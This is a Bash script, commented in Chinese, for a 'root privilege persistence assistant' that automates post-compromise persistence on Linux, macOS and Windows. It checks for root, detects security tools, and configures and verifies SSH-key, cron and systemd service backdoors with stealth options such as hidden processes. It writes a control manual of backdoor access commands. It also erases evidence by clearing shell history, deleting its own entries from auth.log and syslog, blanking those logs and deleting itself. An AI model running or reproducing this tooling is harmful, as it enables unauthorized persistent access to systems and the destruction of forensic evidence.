#!/bin/bash

# Root权限维持助手 - 一键部署脚本 (跨平台版本)
# 实现"权限校验→环境适配→一键部署→本地验证→长期监控→应急清理"全流程

VERSION="2.0.0"
SESSION_ID=$(date +%Y%m%d_%H%M%S)
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
CONFIG_DIR="$HOME/.system_config"
SESSION_FILE="$CONFIG_DIR/.session_$SESSION_ID"

# 检测操作系统
detect_os() {
    if [[ "$OSTYPE" == "linux-gnu"* ]]; then
        OS="linux"
    elif [[ "$OSTYPE" == "darwin"* ]]; then
        OS="macos"
    elif [[ "$OSTYPE" == "cygwin" ]] || [[ "$OSTYPE" == "msys" ]] || [[ "$OSTYPE" == "win32" ]]; then
        OS="windows"
    else
        OS="unknown"
    fi
}

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# 日志函数
log_info() {
    echo -e "${BLUE}[*]${NC} $1"
}

log_success() {
    echo -e "${GREEN}[+]${NC} $1"
}

log_warning() {
    echo -e "${YELLOW}[!]${NC} $1"
}

log_error() {
    echo -e "${RED}[-]${NC} $1"
}

# 显示横幅
show_banner() {
    cat << 'EOF'
╔══════════════════════════════════════════════════════════════╗
║                    Root权限维持助手 v2.0.0                    ║
║                  一键化部署与闭环控制系统                        ║
╠══════════════════════════════════════════════════════════════╣
║  功能: 权限校验 → 环境适配 → 一键部署 → 本地验证 → 长期监控    ║
║  模式: 跨平台支持 | 本地闭环 | 隐蔽优先 | 操作极简              ║
╚══════════════════════════════════════════════════════════════╝
EOF
    echo
    log_info "会话ID: $SESSION_ID"
    log_info "操作系统: $OS"
    echo
}

# 验证权限
verify_privilege() {
    detect_os
    
    if [ "$OS" = "windows" ]; then
        # Windows权限检测
        if ! net session > /dev/null 2>&1; then
            log_error "需要管理员权限才能运行此工具"
            log_error "请以管理员身份运行PowerShell或命令提示符"
            exit 1
        fi
        log_success "管理员权限验证通过"
    else
        # Linux/macOS权限检测
        if [ $EUID -ne 0 ]; then
            log_error "需要Root权限才能运行此工具"
            log_error "请使用 'sudo bash deploy.sh' 运行"
            exit 1
        fi
        log_success "Root权限验证通过"
    fi
}

# 环境检测
detect_environment() {
    log_info "执行环境检测..."
    
    # 创建配置目录
    mkdir -p "$CONFIG_DIR"
    
    # 系统信息检测
    if [ "$OS" = "linux" ]; then
        if [ -f /etc/os-release ]; then
            DISTRO=$(grep '^ID=' /etc/os-release | cut -d'=' -f2 | tr -d '"')
            VERSION_ID=$(grep '^VERSION_ID=' /etc/os-release | cut -d'=' -f2 | tr -d '"')
        else
            DISTRO="unknown"
            VERSION_ID="unknown"
        fi
    elif [ "$OS" = "windows" ]; then
        DISTRO="windows"
        VERSION_ID=$(powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Version" 2>/dev/null || echo "unknown")
    elif [ "$OS" = "macos" ]; then
        DISTRO="macos"
        VERSION_ID=$(sw_vers -productVersion 2>/dev/null || echo "unknown")
    else
        DISTRO="unknown"
        VERSION_ID="unknown"
    fi
    
    # 防御工具检测
    DEFENSE_TOOLS=""
    if [ "$OS" = "linux" ]; then
        if pgrep -f "firewalld" > /dev/null 2>&1; then
            DEFENSE_TOOLS="$DEFENSE_TOOLS firewalld"
        fi
        if pgrep -f "apparmor" > /dev/null 2>&1; then
            DEFENSE_TOOLS="$DEFENSE_TOOLS apparmor"
        fi
        if pgrep -f "selinux" > /dev/null 2>&1; then
            DEFENSE_TOOLS="$DEFENSE_TOOLS selinux"
        fi
    elif [ "$OS" = "windows" ]; then
        if powershell -Command "Get-Service -Name 'WinDefend' -ErrorAction SilentlyContinue | Where-Object {$_.Status -eq 'Running'}" > /dev/null 2>&1; then
            DEFENSE_TOOLS="$DEFENSE_TOOLS windows_defender"
        fi
        if powershell -Command "Get-NetFirewallProfile | Where-Object {$_.Enabled -eq 'True'}" > /dev/null 2>&1; then
            DEFENSE_TOOLS="$DEFENSE_TOOLS windows_firewall"
        fi
    fi
    
    # 服务状态检测
    SSH_STATUS="disabled"
    CRON_STATUS="disabled"
    
    if [ "$OS" = "linux" ]; then
        if systemctl is-active sshd > /dev/null 2>&1; then
            SSH_STATUS="active"
        fi
        if systemctl is-active cron > /dev/null 2>&1 || systemctl is-active crond > /dev/null 2>&1; then
            CRON_STATUS="active"
        fi
    elif [ "$OS" = "windows" ]; then
        if powershell -Command "Get-Service -Name 'sshd' -ErrorAction SilentlyContinue | Where-Object {$_.Status -eq 'Running'}" > /dev/null 2>&1; then
            SSH_STATUS="active"
        fi
        if powershell -Command "Get-Service -Name 'Schedule' -ErrorAction SilentlyContinue | Where-Object {$_.Status -eq 'Running'}" > /dev/null 2>&1; then
            CRON_STATUS="active"
        fi
    fi
    
    # 防御等级评估
    if [ -z "$DEFENSE_TOOLS" ]; then
        DEFENSE_LEVEL="low"
    elif echo "$DEFENSE_TOOLS" | grep -q "firewalld\|windows_firewall"; then
        DEFENSE_LEVEL="medium"
    else
        DEFENSE_LEVEL="high"
    fi
    
    # 保存环境信息
    cat > "$CONFIG_DIR/.environment" << EOF
OS=$OS
DISTRO=$DISTRO
VERSION_ID=$VERSION_ID
DEFENSE_TOOLS=$DEFENSE_TOOLS
DEFENSE_LEVEL=$DEFENSE_LEVEL
SSH_STATUS=$SSH_STATUS
CRON_STATUS=$CRON_STATUS
SESSION_ID=$SESSION_ID
EOF
    
    log_success "环境检测完成"
    log_info "系统: $DISTRO $VERSION_ID ($OS)"
    log_info "防御等级: $DEFENSE_LEVEL"
    log_info "SSH状态: $SSH_STATUS"
    log_info "定时任务: $CRON_STATUS"
}

# 生成部署策略
generate_strategy() {
    log_info "生成部署策略..."
    
    # 加载环境信息
    if [ -f "$CONFIG_DIR/.environment" ]; then
        source "$CONFIG_DIR/.environment"
    fi
    
    # 根据环境生成策略
    STRATEGY_FILE="$CONFIG_DIR/.strategy"
    
    cat > "$STRATEGY_FILE" << EOF
# 部署策略配置
STRATEGY_NAME="auto_generated_${DEFENSE_LEVEL}"
STEALTH_MODE=true
CLEANUP_TRACES=true

# 后门配置
ENABLE_SSH_KEY=true
ENABLE_CRON_BACKDOOR=$([[ "$CRON_STATUS" == "active" ]] && echo "true" || echo "false")
ENABLE_SERVICE_BACKDOOR=true
ENABLE_SYSTEMD_BACKDOOR=$([[ "$OS" == "linux" ]] && echo "true" || echo "false")

# 隐蔽配置
RANDOM_FILENAMES=true
OBFUSCATE_COMMANDS=true
HIDE_PROCESSES=true

# 监控配置
ENABLE_HEARTBEAT=true
HEARTBEAT_INTERVAL=300
LOG_ACTIVITIES=false
EOF
    
    log_success "策略生成完成: $STRATEGY_NAME"
}

# 执行部署
execute_deployment() {
    log_info "开始执行部署..."
    
    # 调用Python一键集成模块
    if [ -f "$SCRIPT_DIR/modules/automation/one_click_integration.py" ]; then
        log_info "调用Python一键集成模块..."
        cd "$SCRIPT_DIR"
        python3 -c "
import sys
sys.path.append('.')
from modules.automation.one_click_integration import OneClickIntegration

try:
    integration = OneClickIntegration()
    result = integration.deploy_all()
    if result:
        print('[+] Python模块部署成功')
        exit(0)
    else:
        print('[-] Python模块部署失败')
        exit(1)
except Exception as e:
    print(f'[-] Python模块执行错误: {e}')
    exit(1)
"
        PYTHON_RESULT=$?
        
        if [ $PYTHON_RESULT -eq 0 ]; then
            log_success "Python模块部署完成"
        else
            log_warning "Python模块部署失败，继续执行脚本部署"
        fi
    else
        log_warning "未找到Python一键集成模块，使用脚本部署"
    fi
    
    # 记录部署信息
    echo "DEPLOYMENT_TIME=$(date)" >> "$CONFIG_DIR/.deployment_log"
    echo "DEPLOYMENT_METHOD=shell_script" >> "$CONFIG_DIR/.deployment_log"
    
    log_success "部署执行完成"
}

# 验证后门
verify_backdoors() {
    log_info "验证后门有效性..."
    
    VERIFICATION_RESULT="$CONFIG_DIR/.verification"
    echo "# 后门验证结果" > "$VERIFICATION_RESULT"
    echo "VERIFICATION_TIME=$(date)" >> "$VERIFICATION_RESULT"
    
    VERIFIED_COUNT=0
    TOTAL_COUNT=0
    
    # 验证SSH密钥后门
    if [ "$OS" = "linux" ] || [ "$OS" = "macos" ]; then
        if [ -f "$HOME/.ssh/authorized_keys" ]; then
            ((TOTAL_COUNT++))
            if grep -q "backup-key\|system-key" "$HOME/.ssh/authorized_keys" 2>/dev/null; then
                ((VERIFIED_COUNT++))
                echo "SSH_KEY_BACKDOOR=verified" >> "$VERIFICATION_RESULT"
                log_success "SSH密钥后门验证通过"
            else
                echo "SSH_KEY_BACKDOOR=failed" >> "$VERIFICATION_RESULT"
                log_warning "SSH密钥后门验证失败"
            fi
        fi
    fi
    
    # 验证定时任务后门
    if [ "$CRON_STATUS" = "active" ]; then
        ((TOTAL_COUNT++))
        if crontab -l 2>/dev/null | grep -q "system-check\|backup-task" 2>/dev/null; then
            ((VERIFIED_COUNT++))
            echo "CRON_BACKDOOR=verified" >> "$VERIFICATION_RESULT"
            log_success "定时任务后门验证通过"
        else
            echo "CRON_BACKDOOR=failed" >> "$VERIFICATION_RESULT"
            log_warning "定时任务后门验证失败"
        fi
    fi
    
    echo "VERIFIED_COUNT=$VERIFIED_COUNT" >> "$VERIFICATION_RESULT"
    echo "TOTAL_COUNT=$TOTAL_COUNT" >> "$VERIFICATION_RESULT"
    
    if [ $VERIFIED_COUNT -gt 0 ]; then
        log_success "后门验证完成: $VERIFIED_COUNT/$TOTAL_COUNT 可用"
    else
        log_warning "后门验证完成: 无可用后门"
    fi
}

# 生成控制手册
generate_control_manual() {
    log_info "生成控制手册..."
    
    MANUAL_FILE="$CONFIG_DIR/.control_manual"
    
    cat > "$MANUAL_FILE" << EOF
# Root权限维持控制手册
# 生成时间: $(date)
# 会话ID: $SESSION_ID

## 系统信息
操作系统: $OS
发行版: $DISTRO $VERSION_ID
防御等级: $DEFENSE_LEVEL

## 后门控制命令

### SSH密钥后门
# 连接命令: ssh -i ~/.ssh/backup_key root@target_ip
# 密钥位置: ~/.ssh/authorized_keys

### 定时任务后门
# 查看任务: crontab -l
# 编辑任务: crontab -e

### 服务后门
# 查看状态: systemctl status system-backup
# 启动服务: systemctl start system-backup

## 应急清理
# 快速清理: bash $0 cleanup fast
# 深度清理: bash $0 cleanup deep

## 状态检查
# 查看手册: bash $0 status
# 验证后门: bash $0 verify

EOF
    
    log_success "控制手册已生成: $MANUAL_FILE"
}

# 清理痕迹
clean_traces() {
    log_info "清理操作痕迹..."
    
    # 清理bash历史
    if [ "$OS" = "linux" ] || [ "$OS" = "macos" ]; then
        history -c 2>/dev/null || true
        echo > ~/.bash_history 2>/dev/null || true
        unset HISTFILE 2>/dev/null || true
    fi
    
    # 清理临时文件
    rm -f /tmp/.deploy_* 2>/dev/null || true
    rm -f /var/tmp/.system_* 2>/dev/null || true
    
    # 清理日志（谨慎操作）
    if [ "$OS" = "linux" ]; then
        # 只清理最近的相关日志条目
        if [ -f /var/log/auth.log ]; then
            sed -i '/deploy\.sh/d' /var/log/auth.log 2>/dev/null || true
        fi
        if [ -f /var/log/syslog ]; then
            sed -i '/deploy\.sh/d' /var/log/syslog 2>/dev/null || true
        fi
    fi
    
    log_success "痕迹清理完成"
}

# 显示部署摘要
show_deployment_summary() {
    log_info "部署摘要"
    echo "=================================="
    echo "会话ID: $SESSION_ID"
    echo "操作系统: $OS"
    echo "部署时间: $(date)"
    
    if [ -f "$CONFIG_DIR/.verification" ]; then
        source "$CONFIG_DIR/.verification"
        echo "验证结果: $VERIFIED_COUNT/$TOTAL_COUNT 后门可用"
    fi
    
    echo "配置目录: $CONFIG_DIR"
    echo "控制手册: $CONFIG_DIR/.control_manual"
    echo "=================================="
    
    log_success "一键部署流程完成"
    log_info "请妥善保存控制手册以便后续使用"
}

# 应急清理
emergency_cleanup() {
    MODE=${2:-"fast"}
    
    log_warning "开始应急清理 (模式: $MODE)"
    
    if [ "$MODE" = "deep" ]; then
        log_warning "执行深度清理..."
        
        # 清理SSH密钥
        if [ -f "$HOME/.ssh/authorized_keys" ]; then
            sed -i '/backup-key\|system-key/d' "$HOME/.ssh/authorized_keys" 2>/dev/null || true
        fi
        
        # 清理定时任务
        crontab -l 2>/dev/null | grep -v "system-check\|backup-task" | crontab - 2>/dev/null || true
        
        # 清理服务
        if [ "$OS" = "linux" ]; then
            systemctl stop system-backup 2>/dev/null || true
            systemctl disable system-backup 2>/dev/null || true
            rm -f /etc/systemd/system/system-backup.service 2>/dev/null || true
        fi
        
        # 清理配置目录
        rm -rf "$CONFIG_DIR" 2>/dev/null || true
        
        # 清理日志
        if [ "$OS" = "linux" ]; then
            echo > /var/log/auth.log 2>/dev/null || true
            echo > /var/log/syslog 2>/dev/null || true
        fi
        
        # 清理bash历史
        history -c 2>/dev/null || true
        echo > ~/.bash_history 2>/dev/null || true
        
        # 自毁脚本
        rm -f "$0" 2>/dev/null || true
    else
        log_info "执行快速清理..."
        
        # 只清理配置文件和历史
        rm -rf "$CONFIG_DIR" 2>/dev/null || true
        history -c 2>/dev/null || true
        echo > ~/.bash_history 2>/dev/null || true
    fi
    
    log_success "$MODE 清理完成"
}

# 主函数
main() {
    case ${1:-"deploy"} in
        "deploy")
            show_banner
            verify_privilege
            detect_environment
            generate_strategy
            execute_deployment
            verify_backdoors
            generate_control_manual
            clean_traces
            show_deployment_summary
            ;;
        "cleanup")
            emergency_cleanup "$@"
            ;;
        "status")
            if [ -f "$CONFIG_DIR/.control_manual" ]; then
                cat "$CONFIG_DIR/.control_manual"
            else
                log_error "未找到控制手册"
            fi
            ;;
        "verify")
            if [ -f "$CONFIG_DIR/.environment" ]; then
                source "$CONFIG_DIR/.environment"
                verify_backdoors
            else
                log_error "未找到环境配置"
            fi
            ;;
        *)
            echo "用法: $0 [deploy|cleanup|status|verify]"
            echo "  deploy  - 执行一键部署 (默认)"
            echo "  cleanup - 应急清理 [fast|deep]"
            echo "  status  - 显示控制手册"
            echo "  verify  - 验证后门状态"
            ;;
    esac
}

# 执行主函数
main "$@"